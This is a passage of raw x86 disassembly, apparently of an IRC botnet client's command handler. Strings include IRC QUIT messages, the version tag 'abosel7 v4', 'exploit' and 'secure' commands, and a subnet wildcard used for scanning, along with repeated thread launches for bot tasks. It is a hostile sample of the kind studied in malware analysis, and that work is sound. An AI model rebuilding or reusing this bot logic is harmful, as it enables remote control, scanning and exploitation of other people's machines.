pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2660AE4h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2660F57h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call near ptr 2670763h nop push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2660F57h jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2670763h push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 26805CDh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h call near ptr 2660F57h nop jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj call near ptr 2670763h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h call near ptr 2660F57h nop jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2670763h push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2660F57h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2670763h push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2660F57h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j call near ptr 2670763h nop push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h call near ptr 2660F57h nop jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2670763h push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2660F57h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj nop call near ptr 2670763h push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx call near ptr 77E75CB5h nop loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 